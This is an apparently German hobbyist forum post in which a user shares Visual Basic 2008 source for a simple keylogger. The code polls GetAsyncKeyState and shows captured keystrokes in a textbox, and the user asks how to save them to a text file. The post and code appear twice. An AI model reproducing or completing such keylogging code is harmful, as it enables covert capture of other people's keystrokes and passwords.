Oreagel
Bekanntes Mitglied
Also ich hätt gern Absolute Überwachung auf meim Lappi, also hab ich mir mit Visual Basic 2008 Express Edition einen Keylogger gemacht. Leider hab ich ihn nur so weit gebracht, das er alles in einer Textbox aufführt, aber nicht in einem Logfile (*txt Datei!) Hab hier den Code:
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal Key As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 225
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
Nun möcht ich folgendes reinmachen:
-Beim starten des Keyloggers wird in den Dokumenten eine *txt datei erstellt
-Beim beenden wird alles eingegebene in die Datei eingefügt und abgespeichert
Leider finde ich bei Google und anderen Seiten keine Liste mit Codes, wo der dabeisteht.. Hoffe hier weis jemand bescheid, denke das ich hier richtig gelandet bin.
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal Key As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 225
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
Nun möcht ich folgendes reinmachen:
-Beim starten des Keyloggers wird in den Dokumenten eine *txt datei erstellt
-Beim beenden wird alles eingegebene in die Datei eingefügt und abgespeichert
Leider finde ich bei Google und anderen Seiten keine Liste mit Codes, wo der dabeisteht.. Hoffe hier weis jemand bescheid, denke das ich hier richtig gelandet bin.